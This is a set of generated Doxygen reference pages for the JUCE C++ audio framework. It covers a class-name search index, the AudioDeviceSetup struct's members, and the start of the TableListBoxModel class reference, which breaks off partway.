['thread',['Thread',['../classThread.html',1,'']]], ['threadedwriter',['ThreadedWriter',['../classAudioFormatWriter_1_1ThreadedWriter.html',1,'AudioFormatWriter']]], ['threadlocalvalue',['ThreadLocalValue',['../classThreadLocalValue.html',1,'']]], ['threadpool',['ThreadPool',['../classThreadPool.html',1,'']]], ['threadpooljob',['ThreadPoolJob',['../classThreadPoolJob.html',1,'']]], ['threadwithprogresswindow',['ThreadWithProgressWindow',['../classThreadWithProgressWindow.html',1,'']]], ['time',['Time',['../classTime.html',1,'']]], ['timer',['Timer',['../classTimer.html',1,'']]], ['timesliceclient',['TimeSliceClient',['../classTimeSliceClient.html',1,'']]], ['timeslicethread',['TimeSliceThread',['../classTimeSliceThread.html',1,'']]], ['togglebutton',['ToggleButton',['../classToggleButton.html',1,'']]], ['tokentype',['TokenType',['../structCodeEditorComponent_1_1ColourScheme_1_1TokenType.html',1,'CodeEditorComponent::ColourScheme']]], ['tonegeneratoraudiosource',['ToneGeneratorAudioSource',['../classToneGeneratorAudioSource.html',1,'']]], ['toolbar',['Toolbar',['../classToolbar.html',1,'']]], ['toolbarbutton',['ToolbarButton',['../classToolbarButton.html',1,'']]], ['toolbaritemcomponent',['ToolbarItemComponent',['../classToolbarItemComponent.html',1,'']]], ['toolbaritemfactory',['ToolbarItemFactory',['../classToolbarItemFactory.html',1,'']]], ['toolbaritempalette',['ToolbarItemPalette',['../classToolbarItemPalette.html',1,'']]], ['tooltipclient',['TooltipClient',['../classTooltipClient.html',1,'']]], ['tooltipwindow',['TooltipWindow',['../classTooltipWindow.html',1,'']]], ['toplevelwindow',['TopLevelWindow',['../classTopLevelWindow.html',1,'']]], ['tracktionmarketplacestatus',['TracktionMarketplaceStatus',['../classTracktionMarketplaceStatus.html',1,'']]], ['treeview',['TreeView',['../classTreeView.html',1,'']]], ['treeviewitem',['TreeViewItem',['../classTreeViewItem.html',1,'']]], ['typeface',['Typeface',['../classTypeface.html',1,'']]], ['typehandler',['TypeHandler',['../classComponentBuilder_1_1TypeHandler.html',1,'ComponentBuilder']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: AudioDeviceManager::AudioDeviceSetup Struct Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="classAudioDeviceManager.html">AudioDeviceManager</a></li><li class="navelem"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-attribs">Public Attributes</a> &#124; <a href="structAudioDeviceManager_1_1AudioDeviceSetup-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">AudioDeviceManager::AudioDeviceSetup Struct Reference</div> </div> </div><!--header--> <div class="contents"> <p>This structure holds a set of properties describing the current audio setup. <a href="structAudioDeviceManager_1_1AudioDeviceSetup.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a0386acffa5672ff88151c4d998363e95"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a0386acffa5672ff88151c4d998363e95">AudioDeviceSetup</a> ()</td></tr> <tr class="memdesc:a0386acffa5672ff88151c4d998363e95"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates an <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html" title="This structure holds a set of properties describing the current audio setup.">AudioDeviceSetup</a> object. <a href="#a0386acffa5672ff88151c4d998363e95"></a><br/></td></tr> <tr class="separator:a0386acffa5672ff88151c4d998363e95"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a006af4c030d43a833b002f0c6bc87e62"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a006af4c030d43a833b002f0c6bc87e62">operator==</a> (const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;other) const </td></tr> <tr class="separator:a006af4c030d43a833b002f0c6bc87e62"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-attribs"></a> Public Attributes</h2></td></tr> <tr class="memitem:a5112cd247e403671a6977344c6764e7d"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a5112cd247e403671a6977344c6764e7d">outputDeviceName</a></td></tr> <tr class="memdesc:a5112cd247e403671a6977344c6764e7d"><td class="mdescLeft">&#160;</td><td class="mdescRight">The name of the audio device used for output. <a href="#a5112cd247e403671a6977344c6764e7d"></a><br/></td></tr> <tr class="separator:a5112cd247e403671a6977344c6764e7d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af1c134f5280bec722facace7c9fa0f1d"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#af1c134f5280bec722facace7c9fa0f1d">inputDeviceName</a></td></tr> <tr class="memdesc:af1c134f5280bec722facace7c9fa0f1d"><td class="mdescLeft">&#160;</td><td class="mdescRight">The name of the audio device used for input. <a href="#af1c134f5280bec722facace7c9fa0f1d"></a><br/></td></tr> <tr class="separator:af1c134f5280bec722facace7c9fa0f1d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:afa56530d7a661131d8891f7b9874fcd1"><td class="memItemLeft" align="right" valign="top">double&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#afa56530d7a661131d8891f7b9874fcd1">sampleRate</a></td></tr> <tr class="memdesc:afa56530d7a661131d8891f7b9874fcd1"><td class="mdescLeft">&#160;</td><td class="mdescRight">The current sample rate. <a href="#afa56530d7a661131d8891f7b9874fcd1"></a><br/></td></tr> <tr class="separator:afa56530d7a661131d8891f7b9874fcd1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2b6b158660e8f9381be469ce87232b8e"><td class="memItemLeft" align="right" valign="top">int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a2b6b158660e8f9381be469ce87232b8e">bufferSize</a></td></tr> <tr class="memdesc:a2b6b158660e8f9381be469ce87232b8e"><td class="mdescLeft">&#160;</td><td class="mdescRight">The buffer size, in samples. <a href="#a2b6b158660e8f9381be469ce87232b8e"></a><br/></td></tr> <tr class="separator:a2b6b158660e8f9381be469ce87232b8e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9365767334c0819bb45754100c743fae"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classBigInteger.html">BigInteger</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a9365767334c0819bb45754100c743fae">inputChannels</a></td></tr> <tr class="memdesc:a9365767334c0819bb45754100c743fae"><td class="mdescLeft">&#160;</td><td class="mdescRight">The set of active input channels. <a href="#a9365767334c0819bb45754100c743fae"></a><br/></td></tr> <tr class="separator:a9365767334c0819bb45754100c743fae"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af4ee7e75cc152be926202c6a7a822d0c"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#af4ee7e75cc152be926202c6a7a822d0c">useDefaultInputChannels</a></td></tr> <tr class="memdesc:af4ee7e75cc152be926202c6a7a822d0c"><td class="mdescLeft">&#160;</td><td class="mdescRight">If this is true, it indicates that the inputChannels array should be ignored, and instead, the device's default channels should be used. <a href="#af4ee7e75cc152be926202c6a7a822d0c"></a><br/></td></tr> <tr class="separator:af4ee7e75cc152be926202c6a7a822d0c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ab95916f70e697107288dc0c44af25aab"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classBigInteger.html">BigInteger</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#ab95916f70e697107288dc0c44af25aab">outputChannels</a></td></tr> <tr class="memdesc:ab95916f70e697107288dc0c44af25aab"><td class="mdescLeft">&#160;</td><td class="mdescRight">The set of active output channels. <a href="#ab95916f70e697107288dc0c44af25aab"></a><br/></td></tr> <tr class="separator:ab95916f70e697107288dc0c44af25aab"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0506caa1460f630b207e1dcf1093f791"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html#a0506caa1460f630b207e1dcf1093f791">useDefaultOutputChannels</a></td></tr> <tr class="memdesc:a0506caa1460f630b207e1dcf1093f791"><td class="mdescLeft">&#160;</td><td class="mdescRight">If this is true, it indicates that the outputChannels array should be ignored, and instead, the device's default channels should be used. <a href="#a0506caa1460f630b207e1dcf1093f791"></a><br/></td></tr> <tr class="separator:a0506caa1460f630b207e1dcf1093f791"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>This structure holds a set of properties describing the current audio setup. </p> <p>An <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a> uses this class to save/load its current settings, and to specify your preferred options when opening a device.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classAudioDeviceManager.html#aef0249d178aa5448ad2e949ae059c461" title="Changes the current device or its settings.">AudioDeviceManager::setAudioDeviceSetup()</a>, <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">AudioDeviceManager::initialise()</a> </dd></dl> </div><h2 class="groupheader">Constructor &amp; Destructor Documentation</h2> <a class="anchor" id="a0386acffa5672ff88151c4d998363e95"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">AudioDeviceManager::AudioDeviceSetup::AudioDeviceSetup </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Creates an <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html" title="This structure holds a set of properties describing the current audio setup.">AudioDeviceSetup</a> object. </p> <p>The default constructor sets all the member variables to indicate default values. You can then fill-in any values you want to before passing the object to <a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44" title="Opens a set of audio devices ready for use.">AudioDeviceManager::initialise()</a>. </p> </div> </div> <h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="a006af4c030d43a833b002f0c6bc87e62"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioDeviceManager::AudioDeviceSetup::operator== </td> <td>(</td> <td class="paramtype">const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;&#160;</td> <td class="paramname"><em>other</em></td><td>)</td> <td> const</td> </tr> </table> </div><div class="memdoc"> </div> </div> <h2 class="groupheader">Member Data Documentation</h2> <a class="anchor" id="a5112cd247e403671a6977344c6764e7d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::AudioDeviceSetup::outputDeviceName</td> </tr> </table> </div><div class="memdoc"> <p>The name of the audio device used for output. </p> <p>The name has to be one of the ones listed by the <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a>'s currently selected device type. This may be the same as the input device. An empty string indicates the default device. </p> </div> </div> <a class="anchor" id="af1c134f5280bec722facace7c9fa0f1d"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classString.html">String</a> AudioDeviceManager::AudioDeviceSetup::inputDeviceName</td> </tr> </table> </div><div class="memdoc"> <p>The name of the audio device used for input. </p> <p>This may be the same as the output device. An empty string indicates the default device. </p> </div> </div> <a class="anchor" id="afa56530d7a661131d8891f7b9874fcd1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">double AudioDeviceManager::AudioDeviceSetup::sampleRate</td> </tr> </table> </div><div class="memdoc"> <p>The current sample rate. </p> <p>This rate is used for both the input and output devices. A value of 0 indicates that you don't care what rate is used, and the device will choose a sensible rate for you. </p> </div> </div> <a class="anchor" id="a2b6b158660e8f9381be469ce87232b8e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">int AudioDeviceManager::AudioDeviceSetup::bufferSize</td> </tr> </table> </div><div class="memdoc"> <p>The buffer size, in samples. </p> <p>This buffer size is used for both the input and output devices. A value of 0 indicates the default buffer size. </p> </div> </div> <a class="anchor" id="a9365767334c0819bb45754100c743fae"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classBigInteger.html">BigInteger</a> AudioDeviceManager::AudioDeviceSetup::inputChannels</td> </tr> </table> </div><div class="memdoc"> <p>The set of active input channels. </p> <p>The bits that are set in this array indicate the channels of the input device that are active. If useDefaultInputChannels is true, this value is ignored. </p> </div> </div> <a class="anchor" id="af4ee7e75cc152be926202c6a7a822d0c"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioDeviceManager::AudioDeviceSetup::useDefaultInputChannels</td> </tr> </table> </div><div class="memdoc"> <p>If this is true, it indicates that the inputChannels array should be ignored, and instead, the device's default channels should be used. </p> </div> </div> <a class="anchor" id="ab95916f70e697107288dc0c44af25aab"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classBigInteger.html">BigInteger</a> AudioDeviceManager::AudioDeviceSetup::outputChannels</td> </tr> </table> </div><div class="memdoc"> <p>The set of active output channels. </p> <p>The bits that are set in this array indicate the channels of the input device that are active. If useDefaultOutputChannels is true, this value is ignored. </p> </div> </div> <a class="anchor" id="a0506caa1460f630b207e1dcf1093f791"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool AudioDeviceManager::AudioDeviceSetup::useDefaultOutputChannels</td> </tr> </table> </div><div class="memdoc"> <p>If this is true, it indicates that the outputChannels array should be ignored, and instead, the device's default channels should be used. </p> </div> </div> <hr/>The documentation for this struct was generated from the following file:<ul> <li><a class="el" href="juce__AudioDeviceManager_8h.html">juce_AudioDeviceManager.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: TableListBoxModel Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classTableListBoxModel-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">TableListBoxModel Class Reference<span class="mlabels"><span class="mlabel">abstract</span></span></div> </div> </div><!--header--> <div class="contents"> <p>One of these is used by a <a class="el" href="classTableListBox.html" title="A table of cells, using a TableHeaderComponent as its header.">TableListBox</a> as the data model for the table's contents. <a href="classTableListBoxModel.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:ab5794e70e60fd8a20e9a7727b58a55d3"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#ab5794e70e60fd8a20e9a7727b58a55d3">TableListBoxModel</a> ()</td></tr> <tr class="separator:ab5794e70e60fd8a20e9a7727b58a55d3"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a69fce53074484eb5388bf99239b1c9a8"><td class="memItemLeft" align="right" valign="top">virtual&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a69fce53074484eb5388bf99239b1c9a8">~TableListBoxModel</a> ()</td></tr> <tr class="memdesc:a69fce53074484eb5388bf99239b1c9a8"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#a69fce53074484eb5388bf99239b1c9a8"></a><br/></td></tr> <tr class="separator:a69fce53074484eb5388bf99239b1c9a8"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae7ff7c6523e8113ff1c13b39f7144bf2"><td class="memItemLeft" align="right" valign="top">virtual int&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#ae7ff7c6523e8113ff1c13b39f7144bf2">getNumRows</a> ()=0</td></tr> <tr class="memdesc:ae7ff7c6523e8113ff1c13b39f7144bf2"><td class="mdescLeft">&#160;</td><td class="mdescRight">This must return the number of rows currently in the table. <a href="#ae7ff7c6523e8113ff1c13b39f7144bf2"></a><br/></td></tr> <tr class="separator:ae7ff7c6523e8113ff1c13b39f7144bf2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a427fdaf7959f3858a7144b490227374a"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a427fdaf7959f3858a7144b490227374a">paintRowBackground</a> (<a class="el" href="classGraphics.html">Graphics</a> &amp;, int rowNumber, int width, int height, bool rowIsSelected)=0</td></tr> <tr class="memdesc:a427fdaf7959f3858a7144b490227374a"><td class="mdescLeft">&#160;</td><td class="mdescRight">This must draw the background behind one of the rows in the table. <a href="#a427fdaf7959f3858a7144b490227374a"></a><br/></td></tr> <tr class="separator:a427fdaf7959f3858a7144b490227374a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a46310df3a1b63b4e874f40bb3dfb14f5"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a46310df3a1b63b4e874f40bb3dfb14f5">paintCell</a> (<a class="el" href="classGraphics.html">Graphics</a> &amp;, int rowNumber, int columnId, int width, int height, bool rowIsSelected)=0</td></tr> <tr class="memdesc:a46310df3a1b63b4e874f40bb3dfb14f5"><td class="mdescLeft">&#160;</td><td class="mdescRight">This must draw one of the cells. <a href="#a46310df3a1b63b4e874f40bb3dfb14f5"></a><br/></td></tr> <tr class="separator:a46310df3a1b63b4e874f40bb3dfb14f5"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a07767e4e5a3812e486c187705b0921bd"><td class="memItemLeft" align="right" valign="top">virtual <a class="el" href="classComponent.html">Component</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a07767e4e5a3812e486c187705b0921bd">refreshComponentForCell</a> (int rowNumber, int columnId, bool isRowSelected, <a class="el" href="classComponent.html">Component</a> *existingComponentToUpdate)</td></tr> <tr class="memdesc:a07767e4e5a3812e486c187705b0921bd"><td class="mdescLeft">&#160;</td><td class="mdescRight">This is used to create or update a custom component to go in a cell. <a href="#a07767e4e5a3812e486c187705b0921bd"></a><br/></td></tr> <tr class="separator:a07767e4e5a3812e486c187705b0921bd"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a6626a7ad733dafebb14f6f11562ea8aa"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a6626a7ad733dafebb14f6f11562ea8aa">cellClicked</a> (int rowNumber, int columnId, const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;)</td></tr> <tr class="memdesc:a6626a7ad733dafebb14f6f11562ea8aa"><td class="mdescLeft">&#160;</td><td class="mdescRight">This callback is made when the user clicks on one of the cells in the table. <a href="#a6626a7ad733dafebb14f6f11562ea8aa"></a><br/></td></tr> <tr class="separator:a6626a7ad733dafebb14f6f11562ea8aa"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5de9942dc2f4d78511880d588f2ea137"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#a5de9942dc2f4d78511880d588f2ea137">cellDoubleClicked</a> (int rowNumber, int columnId, const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;)</td></tr> <tr class="memdesc:a5de9942dc2f4d78511880d588f2ea137"><td class="mdescLeft">&#160;</td><td class="mdescRight">This callback is made when the user clicks on one of the cells in the table. <a href="#a5de9942dc2f4d78511880d588f2ea137"></a><br/></td></tr> <tr class="separator:a5de9942dc2f4d78511880d588f2ea137"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af31c6c676bb85789dff16226f3493c6b"><td class="memItemLeft" align="right" valign="top">virtual void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classTableListBoxModel.html#af31c6c676bb85789dff16226f3493c6b">backgroundClicked</a> (const <a class="el" href="classMouseEvent.html">MouseEvent</a> &amp;)</td></tr> <tr class="memdesc:af31c6c676bb85789dff16226f3493c6b"><td class="mdescLeft">&#160;</td><td class="mdescRight">This can be overridden to react to the user double-clicking on a part of the list where there are no rows. <a href="#af31c6c676bb85789dff16226f3493c6b"></a><br/></td></tr> <tr 